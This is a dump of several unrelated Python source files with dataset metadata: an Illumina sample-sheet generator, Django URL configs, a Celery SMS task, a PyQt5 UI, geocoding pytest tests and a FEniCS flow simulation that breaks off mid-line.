'PE' run, but indicated an incommensurate value for # of reads (should be exactly two cycle # values);\n please correct your entry. Indicate only cycle # for insert read(s) (do not include index read cycles).\n Type 'PE' or 'SE' followed by appropriate cycle number(s), or press Ctrl+C to quit: \"\"\")\n else:\n while reads.split(',')[0].strip() not in ('SE', 'PE'):\n reads = input(\"\"\"\n Type 'PE' or 'SE' followed by appropriate cycle numbers, or press Ctrl+C to quit: \"\"\")\n \n# Check for compatibility between SE/PE and Workflow A/B\nif readstype == 'PE':\n pass\nelif readstype == 'SE':\n if workflow == 'A':\n pass\n elif workflow == 'B':\n compatibility = input(\"\"\"\n ***** CAUTION: ***** \n ***** Dual-indexed runs (using both i7 and i5 barcodes) may use Workflow A or B;\n single-indexed runs (using only i7 barcodes) must be specified as Workflow A. *****\n \n You selected Workflow B, a dual-indexed (Paired-End) sequencing format, while also indicating that you are\n setting up a Sample Sheet for a single-indexed (Single-End) run. Illumina Single-End runs use exclusively the i7 index\n with Workflow A (i7 index is read on the same molecule as Read 1). \n \n Please quit this script session and make appropriate corrections; type 'Exit' and press Enter or press Ctrl+C: \"\"\")\n if compatibility == 'Exit':\n exit(0)\n else:\n input(\"\"\"\n ***** CAUTION: *****\n Workflow 'B' and 'SE' sequencing specifications are not compatible.\n You may now proceed temporarily in the script, but will encounter an error upon trying to populate\n non-existent i5 barcodes into Sample Sheet output file. Press Enter to continue...\n \"\"\")\n\n# [Data] details: specify list of plate names, i7 barcode range, and i5 barcode used for each plate.\nif readstype == 'PE':\n print(\"\"\"\n ....................................................................................\n ***** [Data] details: specify relationships between sample names and barcodes. ***** \n\n You will now be asked to enter a text-only table of plate names with their corresponding\n i7 barcode range and i5 barcode, for dual-indexed (Paired-End) sequencing. \n \n Specifics:\n * Each line corresponds to samples barcoded across a single 96-well plate.\n * Each line is expanded in the output Sample Sheet based on the 'plate name' and specified number of barcoded sample wells;\n individual wells are assigned unique sample IDs in the Sample Sheet based on their unique combination of 'plate name' and\n 'i7 barcode' well ID.\n * 'Plate name' identifies a single 96-well plate identifier and must be unique.\n * Any letter, digit, and punctuation characters are acceptable in names, excluding underscores ('_') which must *not* be used. \n * 'i7 barcode' identifies an individual well (entry will be a numeric range, any # range up to '1-96')\n * 'i5 barcode' identifies all wells in a single plate (entry will be a single number, any # in '1' to '96'.)\n * For i7 and i5 barcode identifiers, use only the *range* (e.g., '1-96') or *number* (e.g., '1'-'96') that corresponds\n to a given index. Refer to i5 and i7 96-well plate sequences (displayed earlier as console PLATEVIEWS), if needed.\n * Fields (plate name, i7 index range, i5 index) are comma-separated.\n * You may manually enter or paste up to 96 lines that specify sample name-barcode relationships.\n * If entering lines individually at the command line, press Enter at the end of each line to move on to the next line.\n * When you press Enter twice, the prompt will consider your data entry complete.\n\n Example: imagine that you have 310 samples barcoded across four 96-well plates (some plates containing 96 samples, some plates containing fewer than 96\n samples). Plate 1 used unique i7 barcodes '1-96' ('i7A01-i7H12') across 96 samples + i5 barcode '1' ('i5A01') for all 96 samples; Plate 2 used the same\n i7 barcode range + i5 barcode '9' ('i5A09') for its 96 samples, Plate 3 used unique barcodes '1-50' ('i7A01-i7E02') across 50 samples + i5 barcode '78'\n ('i5G06') for all 50 samples; Plate 4 used unique barcodes '1-68' ('i7A01-i7F08') across 68 samples + i5 barcode '34' ('i5C10') for all 68 samples.\n You would enter text, line by line at the command line, that resembles this:\n DG-1, 1-96, 1\n DG-2, 1-96, 9\n DG-3, 1-50, 78\n DG-4, 1-68, 34\n\n When you're done entering plates and their indices, press 'Enter' again to proceed in the script.\n\n -----> [Data] details: \n \"\"\")\nelif readstype == 'SE':\n print(\"\"\"\n ....................................................................................\n ***** [Data] details: specify relationships between sample names and barcode. ***** \n\n You will now be asked to enter a text-only table of plate name(s) with their corresponding\n i7 barcode distribution across wells, for single-indexed (Single-End) sequencing. \n \n Specifics:\n * Each line corresponds to samples barcoded across a single 96-well plate.\n * Each line is expanded in the output Sample Sheet based on the 'plate name' and specified number of barcoded sample wells;\n individual wells are assigned unique sample IDs in the Sample Sheet based on their unique combination of 'plate name' and\n 'i7 barcode' well ID.\n * 'Plate name' identifies a single 96-well plate identifier and must be unique.\n * Any letter, digit, and punctuation characters are acceptable in names, excluding underscores ('_') which must *not* be used. \n * 'i7 barcode' identifies an individual well (entry will be a numeric range, any # range up to '1-96')\n * For i7 barcode identifiers, use only the *range* (e.g., '1-96') or *number* (e.g., '1'-'96') that corresponds\n to a given index. Refer to i7 96-well plate sequences (displayed earlier as console PLATEVIEW), if needed.\n * Enter 'plate name, i7 index range'; fields (plate name, i7 index range) are comma-separated.\n * You may manually enter or paste up to 96 lines that specify sample name-barcode relationships.\n * If entering lines individually at the command line, press Enter at the end of each line to move on to the next line.\n * When you press Enter twice, the prompt will consider your data entry complete.\n\n Example: imagine that you have 310 samples barcoded across four 96-well plates (some plates containing 96 samples, some plates containing fewer than 96\n samples). Each plate contains a different type of amplicon, but i7 indices are re-used for different amplicons across plates. Plate 1 used unique i7\n barcodes '1-96' ('i7A01-i7H12') across 96 samples; Plate 2 used the same i7 barcode range for its 96 samples; Plate 3 used unique barcodes '1-50'\n ('i7A01-i7E02') across 50 samples; Plate 4 used unique barcodes '1-68' ('i7A01-i7F08') across 68 samples.\n You would enter text, line by line at the command line, that resembles this:\n DG-1, 1-96\n DG-2, 1-96\n DG-3, 1-50\n DG-4, 1-68\n\n When you're done entering plates and their indices, press 'Enter' again to proceed in the script.\n\n -----> [Data] details: \n \"\"\")\n \n \ninput_list = []\n\nstopword = \"\"\nwhile True:\n input_str = input()\n if input_str.strip() == stopword:\n break\n else:\n input_list.append(input_str)\n\n# Double-check whether entries look good:\nprint(\"\"\"\n---------------------------------------------------------------\nPreparation for output:\nPlease double-check that your inputs were recorded as expected.\n---------------------------------------------------------------\"\"\")\n\nprint(\"\"\"\nYour Workflow was recorded as:\n\"\"\")\nprint(workflow)\n\n\nprint(\"\"\"\nYour filepath and name were recorded as:\n\"\"\")\nprint(filename)\n\n\nprint(\"\"\"\nYour [Header] InvestigatorName and ProjectName were recorded as:\n\"\"\")\nprint(\"InvestigatorName,\"+InvestigatorName+\"\\n\"+\"ProjectName,\"+ProjectName)\n\n\nprint(\"\"\"\nYour [Reads] were recorded as:\n\"\"\")\nprint(\"[Reads]\\n\"+readsvalue)\n\n\nprint(\"\"\"\nYour [Data] input list was recorded as:\n\"\"\") \nfor input_str in input_list:\n print(input_str)\n\ncheck = input(\"\"\"\nIs this list accurately recorded? Type 'Y' or 'N': \n\"\"\")\n\nif check == 'Y':\n pass\nelif check == 'N':\n checkup = input(\"\"\"\nIf you have corrections to make, please quit the active script and start again.\nTo continue in the script, type 'Continue' and press Enter.\nTo quit the script, type 'Exit' and press Enter, or press 'Ctrl+C'. \"\"\")\n if checkup == 'Exit':\n exit(0)\n elif checkup == 'Continue':\n pass\n\n# Log total user interaction time duration \ninteractionDuration = str(datetime.now() - initialTime).split(':')[0]+' hr|'+str(datetime.now() - initialTime).split(':')[1]+' min|'+str(datetime.now() - initialTime).split(':')[2].split('.')[0]+' sec|'+str(datetime.now() - initialTime).split(':')[2].split('.')[1]+' microsec'\n\n# Begin time clock\nstartTime = datetime.now()\n \n# Construct [Data] Section of Sample Sheet:\n\n# get plate names\nplate_names = [i.partition(',')[0].strip() for i in input_list]\n\n# get i7 indices\nif readstype == 'PE':\n i7_indexrange = [i.partition(',')[-1].rpartition(',')[0].strip() for i in input_list]\nelif readstype == 'SE':\n i7_indexrange = [i.partition(',')[2].strip() for i in input_list] \n \n# if there is interest in printing the list of i7 indices, activate this code:\n# if readstype == 'PE':\n# for i in input_list:\n# print(i.partition(',')[-1].rpartition(',')[0])\n# if readstype == 'SE':\n# for i in input_list:\n# print(i.partition(',')[2])\n\nif readstype == 'PE':\n# get i5 indices\n i5_indexrange = [i.rpartition(',')[-1].strip() for i in input_list]\n\n# if there is interest in printing the list of i5 indices, activate this code:\n# for i in input_list:\n# print(i.rpartition(',')[-1])\n\n# expand i7 index list. Generates a list of lists containing tuples.\ni7_index_expansion = []\nfor i in i7_indexrange:\n i7_index_expansion.append(i7_well_IDs[int(i.partition('-')[0].strip())-1:int(i.rpartition('-')[-1].strip())])\n\nif readstype == 'PE':\n# expand i5 index list. Generates a list of lists containing tuples.\n i5_index_expansion = []\n for i in i5_indexrange:\n i5_index_expansion.append(i5_well_IDs[int(i.partition('-')[0].strip())-1:int(i.rpartition('-')[-1].strip())])\n\n# give each plate its own list of expanded i7 and i5 IDs\nexpanded = []\nif readstype == 'PE':\n for i in range(0, len(plate_names)):\n expanded.append([plate_names[i], sorted(i[1] for i in i7_index_expansion[i]), sorted(i[1] for i in i5_index_expansion[i])])\nelif readstype == 'SE':\n for i in range(0, len(plate_names)):\n expanded.append([plate_names[i], sorted(i[1] for i in i7_index_expansion[i])])\n\n#for i in expanded:\n# w = 0\n# while w < len(i[1]):\n# print(i[0] + \"-\" + well_ID_list[w][1], i[1][w], i7revcomp_Dict.get(i[1][w]), i[2][0], i5Dict.get(i[2][0]))\n# w = w + 1\n\n# Create file object (f) in the target directory, with the filename initially entered at the start of the script:\nfilepath = Path(filename)\nf = open(filepath, 'a')\nf.close()\n\n# Use print redirection to write to target file, in append mode (prepare entire Sample Sheet):\nwith open(filepath, 'a') as f:\n if readstype == 'PE':\n print(\"\"\"[Header]\nIEMFileVersion,4\\n\"\"\" +\n\"InvestigatorName,\" + InvestigatorName +\n\"\\nProjectName,\" + ProjectName +\n\"\\nDate,\" + (time.strftime(\"%m/%d/%Y\")) + \n\"\"\"\\nWorkflow,GenerateFASTQ\nApplication,FASTQ Only\nAssay,Nextera\nDescription,Sequencing\nChemistry,Amplicon\n\n[Reads]\\n\"\"\" +\nreadsvalue +\n\"\"\"\\n\\n[Settings]\nReverseComplement,0\nAdapter,CTGTCTCTTATACACATCT\n\n[Data]\nSample_ID,Sample_Name,I7_Index_ID,index,I5_Index_ID,index2\"\"\", file = f)\n elif readstype == 'SE':\n print(\"\"\"[Header]\nIEMFileVersion,4\\n\"\"\" +\n\"InvestigatorName,\" + InvestigatorName +\n\"\\nProjectName,\" + ProjectName +\n\"\\nDate,\" + (time.strftime(\"%m/%d/%Y\")) + \n\"\"\"\\nWorkflow,GenerateFASTQ\nApplication,FASTQ Only\nAssay,Nextera\nDescription,Sequencing\nChemistry,Amplicon\n\n[Reads]\\n\"\"\" +\nreadsvalue +\n\"\"\"\\n\\n[Settings]\nReverseComplement,0\nAdapter,CTGTCTCTTATACACATCT\n\n[Data]\nSample_ID,Sample_Name,I7_Index_ID,index\"\"\", file = f) \n \nf.close()\n\nif workflow == 'A':\n if readstype == 'PE':\n with open(filename, 'a') as f:\n count = 1\n for i in expanded:\n w = 0\n while w < len(i[1]):\n print(str(count) + \",\" + i[0] + \"-\" + i[1][w].split('7',1)[1] + \",\" + i[1][w] + \",\" + i7revcomp_Dict.get(i[1][w]) + \",\" + i[2][0] + \",\" + i5Dict.get(i[2][0]), file = f)\n w = w + 1\n count = count + 1\n elif readstype == 'SE':\n with open(filename, 'a') as f:\n count = 1\n for i in expanded:\n w = 0\n while w < len(i[1]):\n print(str(count) + \",\" + i[0] + \"-\" + i[1][w].split('7',1)[1] + \",\" + i[1][w] + \",\" + i7revcomp_Dict.get(i[1][w]), file = f)\n w = w + 1\n count = count + 1\nelif workflow == 'B':\n with open(filename, 'a') as f:\n count = 1\n for i in expanded:\n w = 0\n while w < len(i[1]):\n print(str(count) + \",\" + i[0] + \"-\" + i[1][w].split('7',1)[1] + \",\" + i[1][w] + \",\" + i7revcomp_Dict.get(i[1][w]) + \",\" + i[2][0] + \",\" + i5revcomp_Dict.get(i[2][0]), file = f)\n w = w + 1\n count = count + 1 \n\nf.close()\n\n\n# Log script processing time duration \nprocessingDuration = str(datetime.now()- startTime).split(':')[0]+' hr|'+str(datetime.now() - startTime).split(':')[1]+' min|'+str(datetime.now() - startTime).split(':')[2].split('.')[0]+' sec|'+str(datetime.now() - startTime).split(':')[2].split('.')[1]+' microsec'\n\n# End of script operations\nprint('\\nUser input time: '+interactionDuration)\nprint('\\nSample Sheet processing time: '+processingDuration)\nprint(\"\"\"\n---------------------------------------------------------------------------------------------------\nYour Sample Sheet is complete.\nThe file can be found at \"\"\" + filename + \"\"\" \n\nPlease verify that the Sample Sheet contents describe your intended barcode assignments to samples.\n---------------------------------------------------------------------------------------------------\n\n*end of script*\n\n\"\"\")\n\nsys.exit(0)\n\n############################################################################# end\n","sub_path":"SampleSheet.py","file_name":"SampleSheet.py","file_ext":"py","file_size_in_byte":58547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"452227005","text":"from django.contrib import admin\nfrom django.urls import path\nfrom app import views\nfrom django.views.decorators.csrf import csrf_exempt\n\nurlpatterns = [\n # Key API Endpoints\n path('student', csrf_exempt(views.createStudent)),\n path('student/', csrf_exempt(views.getStudent)),\n path('classes/', csrf_exempt(views.getClasses)),\n path('class/', csrf_exempt(views.addStudent)),\n path('class//', csrf_exempt(views.deleteClass)),\n path('class/', csrf_exempt(views.getStudentClasses)),\n path('classes-on-map/', csrf_exempt(views.getLocationInfo)),\n # Key Http Endpoints\n path(\"register\", views.registerPage, name=\"register\"),\n path(\"map\", views.mapPage, name=\"map\"),\n path(\"courses\", views.coursePage, name=\"courses\"),\n path(\"timetable\", views.timetablePage, name=\"timetable\"),\n # other urls and APIs\n path('', views.rootPage),\n path('home', views.landPage, name=\"land\"),\n path('login', views.loginPage, name=\"login\"),\n path('logout', views.logout, name=\"logout\"),\n path('admin/', admin.site.urls),\n path('course', views.getCourse, name=\"course\"),\n path('suggestions', csrf_exempt(views.getSuggestion), name=\"suggestions\"),\n]\n","sub_path":"Classistant/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"515534705","text":"import logging\nimport requests\nfrom celery import shared_task\n\n\n\nlogger = logging.getLogger(__name__)\n\n\n\n@shared_task\ndef send_sms_async(url, params=None):\n try:\n if params:\n requests.post(url, data=params)\n else:\n requests.get(url)\n except requests.RequestException as e:\n logger.exception('While sending sms using requests')","sub_path":"base/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"171681457","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 3/14/18 10:43 PM\n# @Author : Saseny.Zhou\n# @File : ui_main.py\n\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom Path.path import *\n\n\nclass Ui_BurninTools(object):\n def setupUi(self, BurninTools):\n BurninTools.setObjectName(\"BurninTools\")\n BurninTools.resize(320, 220)\n BurninTools.setStyleSheet(\"font: 25 14pt \\\"STFangsong\\\";\")\n self.centralWidget = QtWidgets.QWidget(BurninTools)\n self.centralWidget.setObjectName(\"centralWidget\")\n self.verticalLayout = QtWidgets.QVBoxLayout(self.centralWidget)\n self.verticalLayout.setContentsMargins(11, 11, 11, 11)\n self.verticalLayout.setSpacing(6)\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.horizontalLayout = QtWidgets.QHBoxLayout()\n self.horizontalLayout.setSpacing(6)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.label = QtWidgets.QLabel(self.centralWidget)\n self.label.setMinimumSize(QtCore.QSize(70, 0))\n self.label.setMaximumSize(QtCore.QSize(70, 16777215))\n self.label.setObjectName(\"label\")\n self.horizontalLayout.addWidget(self.label)\n self.comboBox = QtWidgets.QComboBox(self.centralWidget)\n self.comboBox.setObjectName(\"comboBox\")\n self.horizontalLayout.addWidget(self.comboBox)\n self.verticalLayout.addLayout(self.horizontalLayout)\n self.groupBox = QtWidgets.QGroupBox(self.centralWidget)\n self.groupBox.setMinimumSize(QtCore.QSize(0, 160))\n self.groupBox.setTitle(\"\")\n self.groupBox.setObjectName(\"groupBox\")\n self.gridLayout = QtWidgets.QGridLayout(self.groupBox)\n self.gridLayout.setContentsMargins(11, 11, 11, 11)\n self.gridLayout.setSpacing(6)\n self.gridLayout.setObjectName(\"gridLayout\")\n self.lcdNumber = QtWidgets.QLCDNumber(self.groupBox)\n self.lcdNumber.setStyleSheet(\"background-color: rgb(255, 238, 232);\")\n self.lcdNumber.setObjectName(\"lcdNumber\")\n self.gridLayout.addWidget(self.lcdNumber, 0, 0, 1, 1)\n self.pushButton = QtWidgets.QPushButton(self.groupBox)\n self.pushButton.setMinimumSize(QtCore.QSize(0, 145))\n font = QtGui.QFont()\n font.setFamily(\"STFangsong\")\n font.setPointSize(36)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(3)\n self.pushButton.setFont(font)\n self.pushButton.setStyleSheet(\"font: 25 36pt \\\"STFangsong\\\";\")\n self.pushButton.setObjectName(\"pushButton\")\n self.gridLayout.addWidget(self.pushButton, 0, 1, 2, 1)\n self.label_2 = QtWidgets.QLabel(self.groupBox)\n font = QtGui.QFont()\n font.setFamily(\"STFangsong\")\n font.setPointSize(20)\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(3)\n self.label_2.setFont(font)\n self.label_2.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n \"font: 25 18pt \\\"STFangsong\\\";\")\n self.label_2.setAlignment(QtCore.Qt.AlignCenter)\n self.label_2.setObjectName(\"label_2\")\n self.gridLayout.addWidget(self.label_2, 1, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox)\n BurninTools.setCentralWidget(self.centralWidget)\n self.menuBar = QtWidgets.QMenuBar(BurninTools)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 338, 22))\n self.menuBar.setObjectName(\"menuBar\")\n BurninTools.setMenuBar(self.menuBar)\n self.mainToolBar = QtWidgets.QToolBar(BurninTools)\n self.mainToolBar.setIconSize(QtCore.QSize(20, 20))\n self.mainToolBar.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)\n self.mainToolBar.setObjectName(\"mainToolBar\")\n BurninTools.addToolBar(QtCore.Qt.TopToolBarArea, self.mainToolBar)\n self.actionload_units = QtWidgets.QAction(BurninTools)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(imagePath + \"/load_units.ico\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionload_units.setIcon(icon)\n self.actionload_units.setObjectName(\"actionload_units\")\n self.actionload_error = QtWidgets.QAction(BurninTools)\n icon1 = QtGui.QIcon()\n icon1.addPixmap(QtGui.QPixmap(imagePath + \"/load_error.ico\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionload_error.setIcon(icon1)\n self.actionload_error.setObjectName(\"actionload_error\")\n self.actionsearch = QtWidgets.QAction(BurninTools)\n icon2 = QtGui.QIcon()\n icon2.addPixmap(QtGui.QPixmap(imagePath + \"/search.ico\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionsearch.setIcon(icon2)\n self.actionsearch.setObjectName(\"actionsearch\")\n self.mainToolBar.addAction(self.actionload_units)\n self.mainToolBar.addAction(self.actionload_error)\n self.mainToolBar.addAction(self.actionsearch)\n\n self.retranslateUi(BurninTools)\n\n self.pushButton.clicked.connect(self.start)\n self.actionload_units.triggered.connect(self.loadUnits)\n self.actionload_error.triggered.connect(self.loadError)\n self.actionsearch.triggered.connect(self.searchInfo)\n\n QtCore.QMetaObject.connectSlotsByName(BurninTools)\n\n def retranslateUi(self, BurninTools):\n _translate = QtCore.QCoreApplication.translate\n BurninTools.setWindowTitle(_translate(\"BurninTools\", \"BurninTools\"))\n self.label.setText(_translate(\"BurninTools\", \" 功能选择:\"))\n self.pushButton.setText(_translate(\"BurninTools\", \"开始\"))\n self.label_2.setText(_translate(\"BurninTools\", \"等待开始!\"))\n self.actionload_units.setText(_translate(\"BurninTools\", \"机器信息加载\"))\n self.actionload_units.setToolTip(_translate(\"BurninTools\", \"加载机器信息\"))\n self.actionload_units.setShortcut(_translate(\"BurninTools\", \"Ctrl+U\"))\n self.actionload_error.setText(_translate(\"BurninTools\", \"不良信息加载\"))\n self.actionload_error.setToolTip(_translate(\"BurninTools\", \"加载不良信息\"))\n self.actionload_error.setShortcut(_translate(\"BurninTools\", \"Ctrl+E\"))\n self.actionsearch.setText(_translate(\"BurninTools\", \"搜索机器\"))\n self.actionsearch.setToolTip(_translate(\"BurninTools\", \"搜索机器信息\"))\n self.actionsearch.setShortcut(_translate(\"BurninTools\", \"Ctrl+F\"))\n","sub_path":"Desktop/BurninTools/0.1.4/UI/ui_main.py","file_name":"ui_main.py","file_ext":"py","file_size_in_byte":6404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"361388337","text":"import pytest\nimport allure\nfrom direct_param_list import direct_param_list_value\nfrom reverse_param_list import reverse_param_list_value\nimport logging\nlog_test_direct = logging.getLogger(\"direct\")\nlog_test_revers = logging.getLogger(\"revers\")\n\n\n# объявляем класс и его параметры\nclass Coordinates:\n # конструктор с параметрами\n def __init__(self, display_name, lat, lon):\n self.display_name = display_name\n self.lat = lat\n self.lon = lon\n\n # функция \"печати\" содержимого класса\n def print(self):\n print(\"display_name: \", self.display_name)\n print(\"lat: \", self.lat)\n print(\"lon: \", self.lon)\n print(\"\")\n\n\nclass TestOSM:\n\n def coordinates(self, response):\n result = []\n for json_item in response:\n display_name = json_item[\"display_name\"]\n lat = json_item[\"lat\"]\n lon = json_item[\"lon\"]\n coords = Coordinates(display_name, lat, lon)\n result.append(coords)\n return result\n\n @allure.feature('Прямой запрос')\n @pytest.mark.usefixtures(\"object_class_server\")\n @pytest.mark.parametrize(\"param_list\", direct_param_list_value)\n def test_direct_any_params(self, param_list, object_class_server):\n log_test_direct.info(\"Test started\")\n req_params = param_list[\"req_params\"]\n with allure.step(\"Отправляем запрос и получаем ответ\"):\n json_response = object_class_server.search(req_params)\n coordinates_list = self.coordinates(json_response)\n expected_lat = param_list[\"expected_lat\"]\n expected_lon = param_list[\"expected_lon\"]\n find_coordinates = False\n with allure.step(\"Сравниваем полученные результаты\"):\n for coordinates in coordinates_list:\n if coordinates.lat == expected_lat and coordinates.lon == expected_lon:\n find_coordinates = True\n coordinates.print()\n log_test_direct.debug(f\"coordinates: {coordinates}\")\n assert find_coordinates, \"Не найдены ожидаемые координаты\"\n\n @allure.feature(\"Обратный запрос\")\n @pytest.mark.usefixtures(\"object_class_server\")\n @pytest.mark.parametrize(\"reverse_param\", reverse_param_list_value)\n def test_revers_param(self, reverse_param, object_class_server):\n log_test_revers.info(\"Test started\")\n lat = reverse_param[\"coordinats\"][\"lat\"]\n lon = reverse_param[\"coordinats\"][\"lon\"]\n dict_requests = {\"lat\": lat, \"lon\": lon, \"format\": \"json\", \"accept-language\": \"ru\"}\n with allure.step(\"Отправляем запрос и получаем ответ в формате json\"):\n json_response = object_class_server.reverse(dict_requests)\n log_test_revers.debug(f\"json_response:{json_response}\")\n assert \"address\" in json_response, \"Нет поля адрес\"\n expected_object = reverse_param[\"expected_address\"]\n with allure.step(\"Проверяем есть ли нужный параметр в ответе\"):\n for object in expected_object:\n assert object in json_response[\"address\"], \"В ответе отсутствует указанный параметр\"\n expected_name = expected_object[object]\n expected_response = json_response[\"address\"][object]\n with allure.step(\"Сравниваем результаты\"):\n if expected_name == expected_response:\n log_test_revers.info(f\"Result:{object, expected_response}\")\n assert expected_name == expected_response, \"По данным координатам результат параметров не совпадает\"\n","sub_path":"test_search.py","file_name":"test_search.py","file_ext":"py","file_size_in_byte":3904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"272550155","text":"\"\"\"DDOS_ATTACK URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom data_admins import views as admins\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n\n url('^$',admins.index,name=\"index\"),\n url('user/register', admins.register, name=\"register\"),\n url('user/add_data',admins.add_data,name=\"add_data\"),\n url('user/userpage',admins.userpage,name=\"userpage\"),\n url('user/labeled_data',admins.labeled_data,name=\"labeled_data\"),\n url('user/unlabeled_data',admins.unlabeled_data,name=\"unlabeled_data\"),\n url('user/ddos_analysis',admins.ddos_analysis,name=\"ddos_analysis\"),\n url('user/chart_page/(?P\\w+)',admins.chart_page,name=\"chart_page\"),\n\n\n]\n","sub_path":"Code/DDOS_ATTACK(1)/DDOS_ATTACK/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"548036579","text":"import fenics as fe\nimport dolfin\nimport numpy as np\nfrom dolfin.fem.norms import errornorm\nfrom dolfin.common.plotting import plot\nimport matplotlib.pyplot as plt\nimport sys\n\nEPSILON = 1.0e-14\nDEG = 2\n\nmesh = fe.Mesh('step.xml')\n\n# Control pannel\nMODEL = False # flag to use SA model\nb = fe.Expression(('0', '0'), degree=DEG) # forcing\nnu = fe.Constant(2e-6)\nrho = fe.Constant(1)\nRE = 0.01\nlmx = 1 # mixing length \ndt = 0.1\n# Re = 10 / 1e-4 = 1e5\n\nV = fe.VectorElement(\"Lagrange\", mesh.ufl_cell(), 2)\nP = fe.FiniteElement(\"Lagrange\", mesh.ufl_cell(), 1)\nNU = fe.FiniteElement(\"Lagrange\", mesh.ufl_cell(), 1)\nif MODEL: M = fe.MixedElement([V, P, NU])\nelse: M = fe.MixedElement([V, P])\nW = fe.FunctionSpace(mesh, M)\n\nW0 = fe.Function(W)\nWe = fe.Function(W)\nu0, p0 = fe.split(We)\n#u0 = fe.Function((W0[0], W0[1]), 'Velocity000023.vtu')\n#p0 = fe.Function(W0[2])\nv, q = fe.TestFunctions(W)\n#u, p = fe.split(W0)\nu,p = (fe.as_vector((W0[0], W0[1])), W0[2])\n\n\n\n\n#-------------------------------------------------------\n# Defining essential/Dirichlet boundary conditions\n# Step 1: Identify all boundary segments forming Gamma_d\n#-------------------------------------------------------\n# (-3., 2.5)\n# |\n# |\n# |_______(0, 1.)\n# bc1 |\n# bc2|__________(3., ,0.)\n# (0,0) bc3\n\n# surface before step\ndef dbc1(x, on_boundary):\n return on_boundary and np.abs(x[1] - 1.) < EPSILON and x[0] < EPSILON\n\n# surface on step side\ndef dbc2(x, on_boundary):\n return on_boundary and x[0] < EPSILON and x[1] < 1.0\n\n# surface after step\ndef dbc3(x, on_boundary):\n return on_boundary and x[1] < EPSILON and x[0] > - 1 * EPSILON\n\n# inflow\ndef dbc_inflow(x, on_boundary):\n return on_boundary and np.abs(x[0] + .2) < EPSILON\n\n# outlet\ndef dbc_outflow(x, on_boundary):\n return on_boundary and np.abs(x[0] - 10) < EPSILON\n\n# top\ndef dbc_top(x, on_boundary):\n return on_boundary and np.abs(x[1] - 2.5) < EPSILON\n\n#--------------------------------------------------------\n# Defining essential/Dirichlet boundary conditions\n# Step 2: Defining what the boundary values will be (u_D)\n#--------------------------------------------------------\nuD_X0 = fe.Expression(('0', '0'), degree=DEG)\nuD_X1 = fe.Expression(('0', '0'), degree=DEG)\nuD_Y0 = fe.Expression(('0', '0'), degree=DEG)\n#uD_Y1 = fe.Expression(('%s * pow((2.5 - x[1]), 2)' % RE, '0'), degree=DEG)\nuD_Y1 = fe.Expression(('%s' % RE, '0'), degree=DEG)\nbc_p = fe.Constant(('0'))\nbc_v = fe.Constant(('0'))\nbc_vf = fe.Constant(3 * nu)\n\nbc_1 = fe.DirichletBC(W.sub(0), uD_X0, dbc1)\nbc_2 = fe.DirichletBC(W.sub(0), uD_Y0, dbc2)\nbc_3 = fe.DirichletBC(W.sub(0), uD_X1, dbc3)\nbc_inflow = fe.DirichletBC(W.sub(0), fe.Expression(('%s * pow((x[1]) / 2.5, 2)' % RE, '0'), degree=DEG), dbc_inflow)\n#bc_inflow = fe.DirichletBC(W.sub(0), fe.Constant((RE, '0')), dbc_inflow)\nbc_p = fe.DirichletBC(W.sub(1), bc_p, dbc_top)\n\ndef Max(a, b): return (a + b + abs(a-b)) / 2.\ndef Min(a, b): return (a + b - abs(a-b)) / 2.\n\n\nns_conv = fe.inner(v, fe.grad(u)*u)*fe.dx\nns_press = p * fe.div(v) * fe.dx\n#s = fe.grad(u) + fe.grad(u).T\nsij = 0.5 * (fe.grad(u) + fe.grad(u).T)\nnu_tv = lmx ** (2 * fe.inner(sij, sij)) ** (0.5)\nns_tv = fe.inner((nu_tv) * fe.grad(v), fe.grad(u)) * fe.dx\nns_visc = nu * fe.inner(fe.grad(v), fe.grad(u)) * fe.dx\nns_conti = q * fe.div(u) * fe.dx\nns_forcing = fe.dot(v, b)*fe.dx\n\nNS = ns_conv + ns_press + ns_tv + ns_visc + ns_conti + ns_forcing\n\nN = 5\nfe.parameters[\"form_compiler\"][\"quadrature_degree\"] = N\n\nweakForm = (1.0 / dt) * fe.inner(u-u0, v) * fe.dx + NS\n\nSTAB = False\nhe = fe.CellDiameter(mesh)\ntau = (1.0/3.0)*(he*he)/(4.0 * nu * rho)\n\nres = - tau * fe.inner(fe.dot(u, fe.grad(v)), fe.grad(u)*u) * fe.dx\nres += - tau * fe.inner(fe.dot(u, 